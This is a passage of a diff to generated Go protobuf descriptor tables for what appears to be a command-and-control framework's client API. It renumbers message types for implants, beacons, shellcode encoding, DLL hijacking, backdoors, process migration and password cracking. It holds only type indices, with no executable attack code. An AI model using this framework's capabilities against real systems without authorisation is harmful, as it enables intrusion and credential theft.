(*NamedPipes)(nil), // 53: clientpb.NamedPipes - (*TCPPivotReq)(nil), // 54: clientpb.TCPPivotReq - (*TCPPivot)(nil), // 55: clientpb.TCPPivot - (*Sessions)(nil), // 56: clientpb.Sessions - (*RenameReq)(nil), // 57: clientpb.RenameReq - (*GenerateReq)(nil), // 58: clientpb.GenerateReq - (*GenerateStageReq)(nil), // 59: clientpb.GenerateStageReq - (*Generate)(nil), // 60: clientpb.Generate - (*MSFReq)(nil), // 61: clientpb.MSFReq - (*MSFRemoteReq)(nil), // 62: clientpb.MSFRemoteReq - (*StagerListenerReq)(nil), // 63: clientpb.StagerListenerReq - (*StagerListener)(nil), // 64: clientpb.StagerListener - (*ShellcodeRDIReq)(nil), // 65: clientpb.ShellcodeRDIReq - (*ShellcodeRDI)(nil), // 66: clientpb.ShellcodeRDI - (*MsfStagerReq)(nil), // 67: clientpb.MsfStagerReq - (*MsfStager)(nil), // 68: clientpb.MsfStager - (*GetSystemReq)(nil), // 69: clientpb.GetSystemReq - (*MigrateReq)(nil), // 70: clientpb.MigrateReq - (*CreateTunnelReq)(nil), // 71: clientpb.CreateTunnelReq - (*CreateTunnel)(nil), // 72: clientpb.CreateTunnel - (*CloseTunnelReq)(nil), // 73: clientpb.CloseTunnelReq - (*PivotGraphEntry)(nil), // 74: clientpb.PivotGraphEntry - (*PivotGraph)(nil), // 75: clientpb.PivotGraph - (*Client)(nil), // 76: clientpb.Client - (*Event)(nil), // 77: clientpb.Event - (*Operators)(nil), // 78: clientpb.Operators - (*Operator)(nil), // 79: clientpb.Operator - (*WebContent)(nil), // 80: clientpb.WebContent - (*WebsiteAddContent)(nil), // 81: clientpb.WebsiteAddContent - (*WebsiteRemoveContent)(nil), // 82: clientpb.WebsiteRemoveContent - (*Website)(nil), // 83: clientpb.Website - (*Websites)(nil), // 84: clientpb.Websites - (*WGClientConfig)(nil), // 85: clientpb.WGClientConfig - (*Loot)(nil), // 86: clientpb.Loot - (*AllLoot)(nil), // 87: clientpb.AllLoot - (*IOC)(nil), // 88: clientpb.IOC - (*ExtensionData)(nil), // 89: clientpb.ExtensionData - (*Host)(nil), // 90: clientpb.Host - (*AllHosts)(nil), // 91: clientpb.AllHosts - (*DllHijackReq)(nil), // 92: clientpb.DllHijackReq - (*DllHijack)(nil), // 93: clientpb.DllHijack - (*BackdoorReq)(nil), // 94: clientpb.BackdoorReq - (*Backdoor)(nil), // 95: clientpb.Backdoor - (*ShellcodeEncodeReq)(nil), // 96: clientpb.ShellcodeEncodeReq - (*ShellcodeEncode)(nil), // 97: clientpb.ShellcodeEncode - (*ShellcodeEncoderMap)(nil), // 98: clientpb.ShellcodeEncoderMap - (*ExternalGenerateReq)(nil), // 99: clientpb.ExternalGenerateReq - (*Builders)(nil), // 100: clientpb.Builders - (*Builder)(nil), // 101: clientpb.Builder - (*HTTPC2Configs)(nil), // 102: clientpb.HTTPC2Configs - (*C2ProfileReq)(nil), // 103: clientpb.C2ProfileReq - (*HTTPC2ConfigReq)(nil), // 104: clientpb.HTTPC2ConfigReq - (*HTTPC2Config)(nil), // 105: clientpb.HTTPC2Config - (*HTTPC2ServerConfig)(nil), // 106: clientpb.HTTPC2ServerConfig - (*HTTPC2ImplantConfig)(nil), // 107: clientpb.HTTPC2ImplantConfig - (*HTTPC2Cookie)(nil), // 108: clientpb.HTTPC2Cookie - (*HTTPC2Header)(nil), // 109: clientpb.HTTPC2Header - (*HTTPC2URLParameter)(nil), // 110: clientpb.HTTPC2URLParameter - (*HTTPC2PathSegment)(nil), // 111: clientpb.HTTPC2PathSegment - (*Credential)(nil), // 112: clientpb.Credential - (*Credentials)(nil), // 113: clientpb.Credentials - (*Crackstations)(nil), // 114: clientpb.Crackstations - (*CrackstationStatus)(nil), // 115: clientpb.CrackstationStatus - (*CrackSyncStatus)(nil), // 116: clientpb.CrackSyncStatus - (*CrackBenchmark)(nil), // 117: clientpb.CrackBenchmark - (*CrackTask)(nil), // 118: clientpb.CrackTask - (*Crackstation)(nil), // 119: clientpb.Crackstation - (*CUDABackendInfo)(nil), // 120: clientpb.CUDABackendInfo - (*OpenCLBackendInfo)(nil), // 121: clientpb.OpenCLBackendInfo - (*MetalBackendInfo)(nil), // 122: clientpb.MetalBackendInfo - (*CrackCommand)(nil), // 123: clientpb.CrackCommand - (*CrackConfig)(nil), // 124: clientpb.CrackConfig - (*CrackFiles)(nil), // 125: clientpb.CrackFiles - (*CrackFile)(nil), // 126: clientpb.CrackFile - (*CrackFileChunk)(nil), // 127: clientpb.CrackFileChunk - (*MonitoringProviders)(nil), // 128: clientpb.MonitoringProviders - (*MonitoringProvider)(nil), // 129: clientpb.MonitoringProvider - (*ResourceID)(nil), // 130: clientpb.ResourceID - nil, // 131: clientpb.TrafficEncoderMap.EncodersEntry - nil, // 132: clientpb.ImplantBuilds.ConfigsEntry - nil, // 133: clientpb.ImplantBuilds.ResourceIDsEntry - nil, // 134: clientpb.ImplantBuilds.StagedEntry - nil, // 135: clientpb.WebsiteAddContent.ContentsEntry - nil, // 136: clientpb.Website.ContentsEntry - nil, // 137: clientpb.Host.ExtensionDataEntry - nil, // 138: clientpb.ShellcodeEncoderMap.EncodersEntry - nil, // 139: clientpb.CrackSyncStatus.ProgressEntry - nil, // 140: clientpb.CrackBenchmark.BenchmarksEntry - nil, // 141: clientpb.Crackstation.BenchmarksEntry - (*commonpb.File)(nil), // 142: commonpb.File - (*commonpb.Request)(nil), // 143: commonpb.Request - (*commonpb.Response)(nil), // 144: commonpb.Response + (*Users)(nil), // 14: clientpb.Users + (*User)(nil), // 15: clientpb.User + (*ClientLogData)(nil), // 16: clientpb.ClientLogData + (*ImplantCommand)(nil), // 17: clientpb.ImplantCommand + (*HistoryRequest)(nil), // 18: clientpb.HistoryRequest + (*History)(nil), // 19: clientpb.History + (*Session)(nil), // 20: clientpb.Session + (*Beacon)(nil), // 21: clientpb.Beacon + (*Beacons)(nil), // 22: clientpb.Beacons + (*BeaconTask)(nil), // 23: clientpb.BeaconTask + (*BeaconTasks)(nil), // 24: clientpb.BeaconTasks + (*ImplantC2)(nil), // 25: clientpb.ImplantC2 + (*ImplantConfig)(nil), // 26: clientpb.ImplantConfig + (*TrafficEncoder)(nil), // 27: clientpb.TrafficEncoder + (*TrafficEncoderMap)(nil), // 28: clientpb.TrafficEncoderMap + (*TrafficEncoderTest)(nil), // 29: clientpb.TrafficEncoderTest + (*TrafficEncoderTests)(nil), // 30: clientpb.TrafficEncoderTests + (*ExternalImplantConfig)(nil), // 31: clientpb.ExternalImplantConfig + (*ExternalImplantBinary)(nil), // 32: clientpb.ExternalImplantBinary + (*ImplantBuilds)(nil), // 33: clientpb.ImplantBuilds + (*ImplantStageReq)(nil), // 34: clientpb.ImplantStageReq + (*ImplantBuild)(nil), // 35: clientpb.ImplantBuild + (*CompilerTarget)(nil), // 36: clientpb.CompilerTarget + (*CrossCompiler)(nil), // 37: clientpb.CrossCompiler + (*Compiler)(nil), // 38: clientpb.Compiler + (*MetasploitModule)(nil), // 39: clientpb.MetasploitModule + (*MetasploitCompiler)(nil), // 40: clientpb.MetasploitCompiler + (*DeleteReq)(nil), // 41: clientpb.DeleteReq + (*DNSCanary)(nil), // 42: clientpb.DNSCanary + (*Canaries)(nil), // 43: clientpb.Canaries + (*UniqueWGIP)(nil), // 44: clientpb.UniqueWGIP + (*ImplantProfile)(nil), // 45: clientpb.ImplantProfile + (*ImplantProfiles)(nil), // 46: clientpb.ImplantProfiles + (*RegenerateReq)(nil), // 47: clientpb.RegenerateReq + (*Job)(nil), // 48: clientpb.Job + (*Jobs)(nil), // 49: clientpb.Jobs + (*KillJobReq)(nil), // 50: clientpb.KillJobReq + (*RestartJobReq)(nil), // 51: clientpb.RestartJobReq + (*KillJob)(nil), // 52: clientpb.KillJob + (*ListenerJob)(nil), // 53: clientpb.ListenerJob + (*MultiplayerListenerReq)(nil), // 54: clientpb.MultiplayerListenerReq + (*MTLSListenerReq)(nil), // 55: clientpb.MTLSListenerReq + (*WGListenerReq)(nil), // 56: clientpb.WGListenerReq + (*DNSListenerReq)(nil), // 57: clientpb.DNSListenerReq + (*HTTPListenerReq)(nil), // 58: clientpb.HTTPListenerReq + (*NamedPipesReq)(nil), // 59: clientpb.NamedPipesReq + (*NamedPipes)(nil), // 60: clientpb.NamedPipes + (*TCPPivotReq)(nil), // 61: clientpb.TCPPivotReq + (*TCPPivot)(nil), // 62: clientpb.TCPPivot + (*Sessions)(nil), // 63: clientpb.Sessions + (*RenameReq)(nil), // 64: clientpb.RenameReq + (*GenerateReq)(nil), // 65: clientpb.GenerateReq + (*GenerateStageReq)(nil), // 66: clientpb.GenerateStageReq + (*Generate)(nil), // 67: clientpb.Generate + (*MSFReq)(nil), // 68: clientpb.MSFReq + (*MSFRemoteReq)(nil), // 69: clientpb.MSFRemoteReq + (*StagerListenerReq)(nil), // 70: clientpb.StagerListenerReq + (*StagerListener)(nil), // 71: clientpb.StagerListener + (*ShellcodeRDIReq)(nil), // 72: clientpb.ShellcodeRDIReq + (*ShellcodeRDI)(nil), // 73: clientpb.ShellcodeRDI + (*MsfStagerReq)(nil), // 74: clientpb.MsfStagerReq + (*MsfStager)(nil), // 75: clientpb.MsfStager + (*GetSystemReq)(nil), // 76: clientpb.GetSystemReq + (*MigrateReq)(nil), // 77: clientpb.MigrateReq + (*CreateTunnelReq)(nil), // 78: clientpb.CreateTunnelReq + (*CreateTunnel)(nil), // 79: clientpb.CreateTunnel + (*CloseTunnelReq)(nil), // 80: clientpb.CloseTunnelReq + (*PivotGraphEntry)(nil), // 81: clientpb.PivotGraphEntry + (*PivotGraph)(nil), // 82: clientpb.PivotGraph + (*Client)(nil), // 83: clientpb.Client + (*Event)(nil), // 84: clientpb.Event + (*Operator)(nil), // 85: clientpb.Operator + (*WebContent)(nil), // 86: clientpb.WebContent + (*WebsiteAddContent)(nil), // 87: clientpb.WebsiteAddContent + (*WebsiteRemoveContent)(nil), // 88: clientpb.WebsiteRemoveContent + (*Website)(nil), // 89: clientpb.Website + (*Websites)(nil), // 90: clientpb.Websites + (*WGClientConfig)(nil), // 91: clientpb.WGClientConfig + (*Loot)(nil), // 92: clientpb.Loot + (*AllLoot)(nil), // 93: clientpb.AllLoot + (*IOC)(nil), // 94: clientpb.IOC + (*ExtensionData)(nil), // 95: clientpb.ExtensionData + (*Host)(nil), // 96: clientpb.Host + (*AllHosts)(nil), // 97: clientpb.AllHosts + (*DllHijackReq)(nil), // 98: clientpb.DllHijackReq + (*DllHijack)(nil), // 99: clientpb.DllHijack + (*BackdoorReq)(nil), // 100: clientpb.BackdoorReq + (*Backdoor)(nil), // 101: clientpb.Backdoor + (*ShellcodeEncodeReq)(nil), // 102: clientpb.ShellcodeEncodeReq + (*ShellcodeEncode)(nil), // 103: clientpb.ShellcodeEncode + (*ShellcodeEncoderMap)(nil), // 104: clientpb.ShellcodeEncoderMap + (*ExternalGenerateReq)(nil), // 105: clientpb.ExternalGenerateReq + (*Builders)(nil), // 106: clientpb.Builders + (*Builder)(nil), // 107: clientpb.Builder + (*HTTPC2Configs)(nil), // 108: clientpb.HTTPC2Configs + (*C2ProfileReq)(nil), // 109: clientpb.C2ProfileReq + (*HTTPC2ConfigReq)(nil), // 110: clientpb.HTTPC2ConfigReq + (*HTTPC2Config)(nil), // 111: clientpb.HTTPC2Config + (*HTTPC2ServerConfig)(nil), // 112: clientpb.HTTPC2ServerConfig + (*HTTPC2ImplantConfig)(nil), // 113: clientpb.HTTPC2ImplantConfig + (*HTTPC2Cookie)(nil), // 114: clientpb.HTTPC2Cookie + (*HTTPC2Header)(nil), // 115: clientpb.HTTPC2Header + (*HTTPC2URLParameter)(nil), // 116: clientpb.HTTPC2URLParameter + (*HTTPC2PathSegment)(nil), // 117: clientpb.HTTPC2PathSegment + (*Credential)(nil), // 118: clientpb.Credential + (*Credentials)(nil), // 119: clientpb.Credentials + (*Crackstations)(nil), // 120: clientpb.Crackstations + (*CrackstationStatus)(nil), // 121: clientpb.CrackstationStatus + (*CrackSyncStatus)(nil), // 122: clientpb.CrackSyncStatus + (*CrackBenchmark)(nil), // 123: clientpb.CrackBenchmark + (*CrackTask)(nil), // 124: clientpb.CrackTask + (*Crackstation)(nil), // 125: clientpb.Crackstation + (*CUDABackendInfo)(nil), // 126: clientpb.CUDABackendInfo + (*OpenCLBackendInfo)(nil), // 127: clientpb.OpenCLBackendInfo + (*MetalBackendInfo)(nil), // 128: clientpb.MetalBackendInfo + (*CrackCommand)(nil), // 129: clientpb.CrackCommand + (*CrackConfig)(nil), // 130: clientpb.CrackConfig + (*CrackFiles)(nil), // 131: clientpb.CrackFiles + (*CrackFile)(nil), // 132: clientpb.CrackFile + (*CrackFileChunk)(nil), // 133: clientpb.CrackFileChunk + (*MonitoringProviders)(nil), // 134: clientpb.MonitoringProviders + (*MonitoringProvider)(nil), // 135: clientpb.MonitoringProvider + (*ResourceID)(nil), // 136: clientpb.ResourceID + nil, // 137: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 138: clientpb.ImplantBuilds.ConfigsEntry + nil, // 139: clientpb.ImplantBuilds.ResourceIDsEntry + nil, // 140: clientpb.ImplantBuilds.StagedEntry + nil, // 141: clientpb.WebsiteAddContent.ContentsEntry + nil, // 142: clientpb.Website.ContentsEntry + nil, // 143: clientpb.Host.ExtensionDataEntry + nil, // 144: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 145: clientpb.CrackSyncStatus.ProgressEntry + nil, // 146: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 147: clientpb.Crackstation.BenchmarksEntry + (*commonpb.Request)(nil), // 148: commonpb.Request + (*commonpb.Response)(nil), // 149: commonpb.Response + (*commonpb.File)(nil), // 150: commonpb.File } var file_clientpb_client_proto_depIdxs = []int32{ - 16, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon - 18, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask - 30, // 2: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild - 20, // 3: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 - 0, // 4: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat - 142, // 5: clientpb.ImplantConfig.Assets:type_name -> commonpb.File - 142, // 6: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 131, // 7: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry - 22, // 8: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder - 24, // 9: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest - 21, // 10: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig - 30, // 11: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild - 105, // 12: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config - 142, // 13: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 132, // 14: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 133, // 15: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry - 134, // 16: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry - 0, // 17: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat - 31, // 18: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget - 32, // 19: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler - 31, // 20: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget - 35, // 21: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary - 21, // 22: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig - 38, // 23: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile - 41, // 24: clientpb.Jobs.Active:type_name -> clientpb.Job - 48, // 25: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq - 49, // 26: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq - 50, // 27: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq - 51, // 28: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq - 47, // 29: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq - 143, // 30: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 144, // 31: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 143, // 32: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 144, // 33: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 15, // 34: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 21, // 35: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 142, // 36: clientpb.Generate.File:type_name -> commonpb.File - 143, // 37: clientpb.MSFReq.Request:type_name -> commonpb.Request - 143, // 38: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 39: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 1, // 40: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol - 142, // 41: clientpb.MsfStager.File:type_name -> commonpb.File - 21, // 42: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 143, // 43: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 21, // 44: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 45: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 143, // 46: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 143, // 47: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 143, // 48: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 15, // 49: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 74, // 50: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 74, // 51: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 79, // 52: clientpb.Client.Operator:type_name -> clientpb.Operator - 15, // 53: clientpb.Event.Session:type_name -> clientpb.Session - 41, // 54: clientpb.Event.Job:type_name -> clientpb.Job - 76, // 55: clientpb.Event.Client:type_name -> clientpb.Client - 79, // 56: clientpb.Operators.Operators:type_name -> clientpb.Operator - 135, // 57: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 136, // 58: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 83, // 59: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 60: clientpb.Loot.FileType:type_name -> clientpb.FileType - 142, // 61: clientpb.Loot.File:type_name -> commonpb.File - 86, // 62: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 88, // 63: clientpb.Host.IOCs:type_name -> clientpb.IOC - 137, // 64: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 90, // 65: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 143, // 66: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 144, // 67: clientpb.DllHijack.Response:type_name -> commonpb.Response - 143, // 68: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 144, // 69: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 70: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 143, // 71: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 144, // 72: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 138, // 73: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 21, // 74: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 101, // 75: clientpb.Builders.Builders:type_name -> clientpb.Builder - 31, // 76: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 32, // 77: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 105, // 78: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config - 105, // 79: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config - 106, // 80: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig - 107, // 81: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig - 109, // 82: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header - 108, // 83: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie - 110, // 84: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter - 109, // 85: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header - 111, // 86: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment - 4, // 87: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType - 5, // 88: clientpb.Credential.HashType:type_name -> clientpb.HashType - 112, // 89: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 119, // 90: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 6, // 91: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 116, // 92: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 139, // 93: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 140, // 94: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 123, // 95: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 141, // 96: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 120, // 97: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 122, // 98: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 121, // 99: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 8, // 100: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 5, // 101: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 10, // 102: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 9, // 103: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 9, // 104: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 11, // 105: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 126, // 106: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 12, // 107: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 127, // 108: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 129, // 109: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider - 22, // 110: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 21, // 111: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 130, // 112: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID - 80, // 113: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 80, // 114: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 89, // 115: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 116: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 117, // [117:117] is the sub-list for method output_type - 117, // [117:117] is the sub-list for method input_type - 117, // [117:117] is the sub-list for extension type_name - 117, // [117:117] is the sub-list for extension extendee - 0, // [0:117] is the sub-list for field type_name + 15, // 0: clientpb.Users.Users:type_name -> clientpb.User + 148, // 1: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 148, // 2: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 17, // 3: clientpb.History.Commands:type_name -> clientpb.ImplantCommand + 149, // 4: clientpb.History.Response:type_name -> commonpb.Response + 21, // 5: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 23, // 6: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 35, // 7: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild + 25, // 8: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 9: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 150, // 10: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 150, // 11: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 137, // 12: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 27, // 13: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder + 29, // 14: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest + 26, // 15: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig + 35, // 16: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild + 111, // 17: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config + 150, // 18: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 138, // 19: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 139, // 20: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry + 140, // 21: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry + 0, // 22: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat + 36, // 23: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget + 37, // 24: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler + 36, // 25: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget + 39, // 26: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule + 39, // 27: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule + 42, // 28: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 26, // 29: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 45, // 30: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 48, // 31: clientpb.Jobs.Active:type_name -> clientpb.Job + 55, // 32: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq + 56, // 33: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq + 57, // 34: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq + 58, // 35: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq + 54, // 36: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq + 148, // 37: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 149, // 38: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 148, // 39: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 149, // 40: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 20, // 41: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 26, // 42: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 150, // 43: clientpb.Generate.File:type_name -> commonpb.File + 148, // 44: clientpb.MSFReq.Request:type_name -> commonpb.Request + 148, // 45: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 46: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 47: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 150, // 48: clientpb.MsfStager.File:type_name -> commonpb.File + 26, // 49: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 148, // 50: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 26, // 51: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 52: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 148, // 53: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 148, // 54: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 148, // 55: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 20, // 56: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 81, // 57: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 81, // 58: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 85, // 59: clientpb.Client.Operator:type_name -> clientpb.Operator + 20, // 60: clientpb.Event.Session:type_name -> clientpb.Session + 21, // 61: clientpb.Event.Beacon:type_name -> clientpb.Beacon + 48, // 62: clientpb.Event.Job:type_name -> clientpb.Job + 83, // 63: clientpb.Event.Client:type_name -> clientpb.Client + 141, // 64: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 142, // 65: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 89, // 66: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 67: clientpb.Loot.FileType:type_name -> clientpb.FileType + 150, // 68: clientpb.Loot.File:type_name -> commonpb.File + 92, // 69: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 94, // 70: clientpb.Host.IOCs:type_name -> clientpb.IOC + 143, // 71: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 96, // 72: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 148, // 73: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 149, // 74: clientpb.DllHijack.Response:type_name -> 